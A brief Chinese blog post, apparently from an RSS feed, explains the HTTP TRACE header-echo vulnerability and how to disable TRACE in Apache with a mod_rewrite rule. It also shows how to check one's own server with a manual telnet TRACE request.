&lt;pre&gt;&lt;code&gt;          HTTP/1.1（RFC2616）规范定义了HTTP TRACE方法，主要是用于客户端通过向Web服务器提交TRACE请求来进行测试或获得诊断信息。当Web服务器启用TRACE时，提交的请求头会在服务器响应的内容（Body）中完整的返回，其中HTTP头很可能包括Session Token、Cookies或其它认证信息。攻击者可以利用此漏洞来欺骗合法用户并得到他们的私人信息。该漏洞往往与其它方式配合来进行有效攻击，由于HTTP TRACE请求可以通过客户浏览器脚本发起（如XMLHttpRequest），并可以通过DOM接口来访问，因此很容易被攻击者利用。
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;禁用的方法很简单：&lt;/p&gt;

&lt;p&gt;Apache，启用Rewrite：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;      RewriteEngine On
      RewriteCond %{REQUEST_METHOD} ^TRACE
      RewriteRule .* - [F]
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Nginx已经禁止很久了。&lt;/p&gt;

&lt;p&gt;检测方法&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;      telnet your_host
      Trying your_ip...
      Connected to your_host.
      Escape character is &#39;^]&#39;.
      TRACE / HTTP/1.0
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;查看返回内容是否 4xx 即可。&lt;/p&gt;
</description>
    </item>
    
  </channel>
</rss>
